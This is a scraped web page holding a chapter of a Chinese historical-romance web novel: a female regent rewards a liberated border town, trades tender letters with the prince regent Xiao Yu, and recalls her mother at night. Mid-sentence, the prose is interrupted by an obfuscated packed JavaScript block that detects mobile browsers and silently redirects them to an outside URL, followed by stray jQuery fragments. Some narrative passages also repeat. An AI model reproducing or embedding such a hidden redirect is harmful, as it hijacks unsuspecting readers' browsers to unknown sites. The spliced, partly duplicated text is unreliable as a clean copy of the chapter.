第71章凤卿,这么晚了还在练剑

作品:《凤袍要加身

    当谢凤卿的身影出现在关口时,人群中顿时响起一片低低的啜泣声和激动的呼喊声。一位白发苍苍的老翁颤巍巍地走上前,布满老茧的双手紧紧握住一根简陋的木杖,浑浊的双眼含着热泪:"王爷千岁!多谢王爷救命之恩啊!"他的声音嘶哑,却饱含真挚,"那些叛军占据关口的这些时日,我们这些老百姓饱受蹂躏,家中的存粮被抢掠一空,不少青壮年被强征入伍...如今终于重见天日了!"


    谢凤卿快步上前,亲手扶起老翁。她注意到老人破旧的衣衫下露出嶙峋的肩骨,手心传来的触感瘦削得令人心疼。"老人家请起,"她的声音温和而坚定,"守护百姓安康,本是本王分内之责。"


    她环视四周,目光扫过每一张饱经风霜的面孔。一个约莫五六岁的小女孩躲在母亲身后,怯生生地探出头来,那双清澈的眼睛让谢凤卿心中一软。她蹲下身,从袖中取出一块饴糖,柔声道:"来,这个给你。"小女孩犹豫地看了看母亲,在得到默许后,才小心翼翼地接过糖果,脸上绽放出天真的笑容。


    "自今日起,"谢凤卿站起身,声音清越有力,确保每个人都能听清,"黑风口及周边三县,免赋税三年!本王将在此设立官办学堂,凡适龄孩童,无论男女,皆可免费入学读书识字。"


    人群中顿时响起一片惊叹声。一个书生打扮的年轻人激动地追问:"王爷,此话当真?寒门子弟也能入学?"


    "自然。"谢凤卿肯定地点头,"不仅如此,本王已命工部拟定章程,将在黑风口兴修水利,开凿灌溉渠道,引雪山水源灌溉良田。同时设立官营织造局,收购当地羊毛,教授妇人织造技艺,所产毛毡由官府统一收购。"


    她顿了顿,继续宣布:"另将修筑通往中原的官道,设立驿站,方便商旅往来。边关特产可直运中原,中原货物也能顺畅运抵。如此,不出三年,定让边关百姓安居乐业!"


    这番承诺让在场的边民激动不已。一位老妇人抹着眼泪对身旁的儿媳说:"听见了吗?咱们孙女也能上学堂了!再不用像我们这一辈,睁眼瞎过一辈子。"几个年轻人兴奋地讨论着修路带来的商机,盘算着可以经营哪些营生。


    霍三娘适时呈上一卷文书,谢凤卿接过,当众展开:"这是本王亲笔所书的惠民政令,即刻生效。各乡里正需将政令内容晓谕百姓,若有官吏胆敢阳奉阴违,克扣惠民之策,一经查实,严惩不贷!"


    她的话音刚落,人群中爆发出震耳欲聋的欢呼声。百姓们纷纷跪地叩拜,高呼"摄政王千岁"。那位最初上前的老翁更是老泪纵横,连连作揖:"王爷如此仁政,实乃边关百姓之福啊!"


    谢凤卿望着眼前激动的民众,心中涌起一股暖流。她轻抚腰间的桃花剑,想起母亲生前常说:治国之道,在于民心。今日她以仁政收边关民心,正是践行母亲的教诲。


    夕阳西下,将她的身影拉得很长。在边民们充满希望的目光中,她仿佛看到了黑风口更加美好的明天。


    百姓们闻言,无不感激涕零,高呼“摄政王千岁”。有妇人当场痛哭失声,有男子激动地挥舞着破旧的帽子。这一刻,谢凤卿真切地感受到了肩头的责任——不仅是为这些边民,更是为天下所有期盼太平的百姓。


    就在这时,一骑快马从关内疾驰而来,马蹄踏在碎石路上发出清脆的声响,打破了关前的喧嚣。马上的使者风尘仆仆,铠甲上沾满尘土,翻身下马时几乎站立不稳,却仍强撑着单膝跪地,恭敬地奉上一封用油纸仔细包裹的书信:“王爷,监国亲笔。”


    谢凤卿接过信,指尖在触碰到信封时微微一顿。那信封上带着淡淡的松墨香气,是她再熟悉不过的味道。她小心翼翼地拆开火漆封印,展开信纸。上面只有寥寥数字:“闻卿大捷,心甚慰之。京中一切安好,勿念。盼早日凯旋。”字迹苍劲有力,正是萧御手笔。


    然而最让她心头一颤的,是信的右下角,那里细细画着一枝含苞待放的桃花,与她剑柄上的纹样如出一辙,笔触细腻得仿佛能看见作画人当时的专注神情。


    她的指尖轻轻抚过那墨迹未干的字迹,又在那枝桃花上停留片刻,眼中泛起连她自己都未曾察觉的温柔。她几乎能想象出他深夜独坐书房,在烛光下执笔作画时的模样——眉头微蹙,薄唇紧抿,全神贯注得仿佛在完成一件极其重要的事情。那个平日里冷峻威严的监国亲王,竟会有如此细腻的一面。


    “取纸笔来。”她轻声吩咐,声音里带着一丝不易察觉的柔软。


    霍三娘立即呈上文房四宝。谢凤卿略一沉吟,提笔蘸墨,在宣纸上落下清秀却有力的字迹:“边关已定,不日即归。世界铁路,可开始筹划。”


    写到这里,她笔尖微顿,抬眼望向关外那片在夕阳下盛开的野桃花林。粉白的花瓣在微风中轻轻摇曳,让她想起多年前在王府后院,母亲亲手栽种的那株桃树。那时她还是个不谙世事的少女,而他也不过是个沉默寡言的世子。


    她唇角不自觉地扬起一抹浅笑,重新落笔,添上一句:“边关桃花已绽,甚美。”墨迹在纸上缓缓晕开,如同她心中荡漾的涟漪。


    将信仔细折好,交予使者时,她轻声补充道:“告诉监国,我一切安好,让他...不必挂心。”最后几个字说得极轻,仿佛怕被旁人听去,却又带着难以掩饰的关切。


    使者郑重接过书信,翻身上马,绝尘而去。谢凤卿望着那远去的背影,久久没有移开视线。夕阳将她的身影拉得很长,银甲在余晖中泛着温暖的光泽。这一刻,她不再是那个叱咤风云的摄政王,只是一个期待着归期的寻常女子。


    霍三娘在一旁静静看着,眼中闪过一丝了然的笑意。她跟随谢凤卿多年,还是第一次见她露出这般神情。那枝画在信纸角落的桃花,那句“不必挂心”的叮嘱,无不透露着两人之间难以言说的情愫。


    夜幕渐渐降临,边关的星空格外明亮。谢凤卿轻抚着剑柄上的桃花纹路,忽然觉得,这漫长的征战之路,因为远方那个人的牵挂,也变得不再那么孤寂。


    使者领命而去。


    谢凤卿重新上马,望向远方。夕阳西下,将她与战马的身影拉得很长。银甲在余晖中闪烁着温暖的光泽,再也不见战场的冷厉。远处的山峦被夕阳镀上了一层金边,连绵起伏,如同沉睡的巨兽。


    夜幕如墨,缓缓浸染着边关的天际


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551714|186727||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,将白日里战火纷飞的痕迹悄然抹去。当最后一抹晚霞如同羞赧的少女般消散在地平线上,无垠的星空便悄然登场,格外明亮璀璨。银河横贯天际,宛如天神挥洒的银练,繁星如织,密密匝匝地铺满了深邃的苍穹,每一颗星子都在闪烁着独特的光芒,仿佛在诉说着千古的故事。


    谢凤卿独自立于关楼之上,身形在星空下显得格外挺拔。她卸去了日间征战时的银甲,换上了一袭墨色常服,衣料是上好的云锦,在星光下泛着淡淡的光泽。如瀑的青丝仅用一支简单的白玉簪松松绾起,几缕发丝被夜风拂动,轻抚着她白皙的脸颊。经过一日的征战,她的面容略显疲惫,但那双明眸却依然清澈如泉,在星辉映照下闪烁着睿智的光芒。玄色斗篷在夜风中轻轻摆动,腰间的桃花剑静静地佩着,剑柄上那枝精雕细琢的桃花纹路在星辉下若隐若现,仿佛随时会绽放出芬芳。


    日间的喧嚣与厮杀已然散去,此刻的边关沉浸在一种奇特的宁静之中。唯有夜风呼啸而过,带着边关特有的苍凉气息,卷起细沙打在城墙石砖上,发出沙沙的轻响。这风声时而呜咽,如泣如诉;时而长啸,豪气干云,像是在诉说着这片土地上千古流传的英雄传奇。


    她仰望着星空,思绪如潮水般涌来。这一剑劈关,不仅劈开了叛军的防线,更劈开了一个崭新的时代。而她与萧御,将继续携手,引领这个时代走向更加光明的未来。想到这里,她的唇角不自觉地扬起一抹浅笑,那笑容中既有对过往征战的释然,也有对未来的无限憧憬。


    远处,新生的日月旗在夜色中猎猎作响,旗帜在风中翻卷的声音如同这个正在巨变中的世界,永不停息。旗帜下方,士兵们点燃了篝火,橘红色的火光跳跃着,映照着一张张年轻而坚毅的脸庞。这些面孔或许还带着稚气,但眼神中已然有了保家卫国的坚定。有士兵低声唱起了边关的民歌,那苍凉而悠远的歌声随风飘向远方,在星空下回荡,带着几分思乡的愁绪,又有几分凯旋的豪迈。


    谢凤卿轻轻抚摸着桃花剑冰凉的剑柄,那细腻的桃花纹路在她的指尖下仿佛有了温度。这一刻,她忽然想起了多年前的一个夜晚,那时她还只是谢府后院一个不谙世事的小女孩。


    记忆如潮水般涌来,将她带回到了那个遥远的夏夜。


    那年她刚满八岁,是个闷热的夜晚,连蝉鸣都显得有气无力。小凤卿偷偷溜出闺房,蹑手蹑脚地来到后院那株老桃树下。月光如水,洒在落满花瓣的青石板上。她从树洞里取出偷偷藏好的木剑,那是她照着母亲的真剑自己削制的,虽然粗糙,却是她最珍爱的宝贝。


    "凤卿,这么晚了还在练剑?"一个温柔的声音自身后响起。


    小凤卿吓了一跳,慌忙将木剑藏到身后。转过身,只见母亲林清漪站在月影下。林清漪穿着一袭淡青色的素纱长裙,裙摆上绣着几枝疏落的墨竹,显得清雅脱俗。如云的青丝仅用一支碧玉簪松松挽起,几缕发丝垂在耳侧,衬得她本就白皙的肌肤更加莹润。月光洒在她身上,仿佛为她披上了一层银纱。虽然已是人妇,但林清漪的容颜依旧秀美,眉宇间带着几分英气,眼角细微的皱纹非但不减其风韵,反而更添成熟韵味。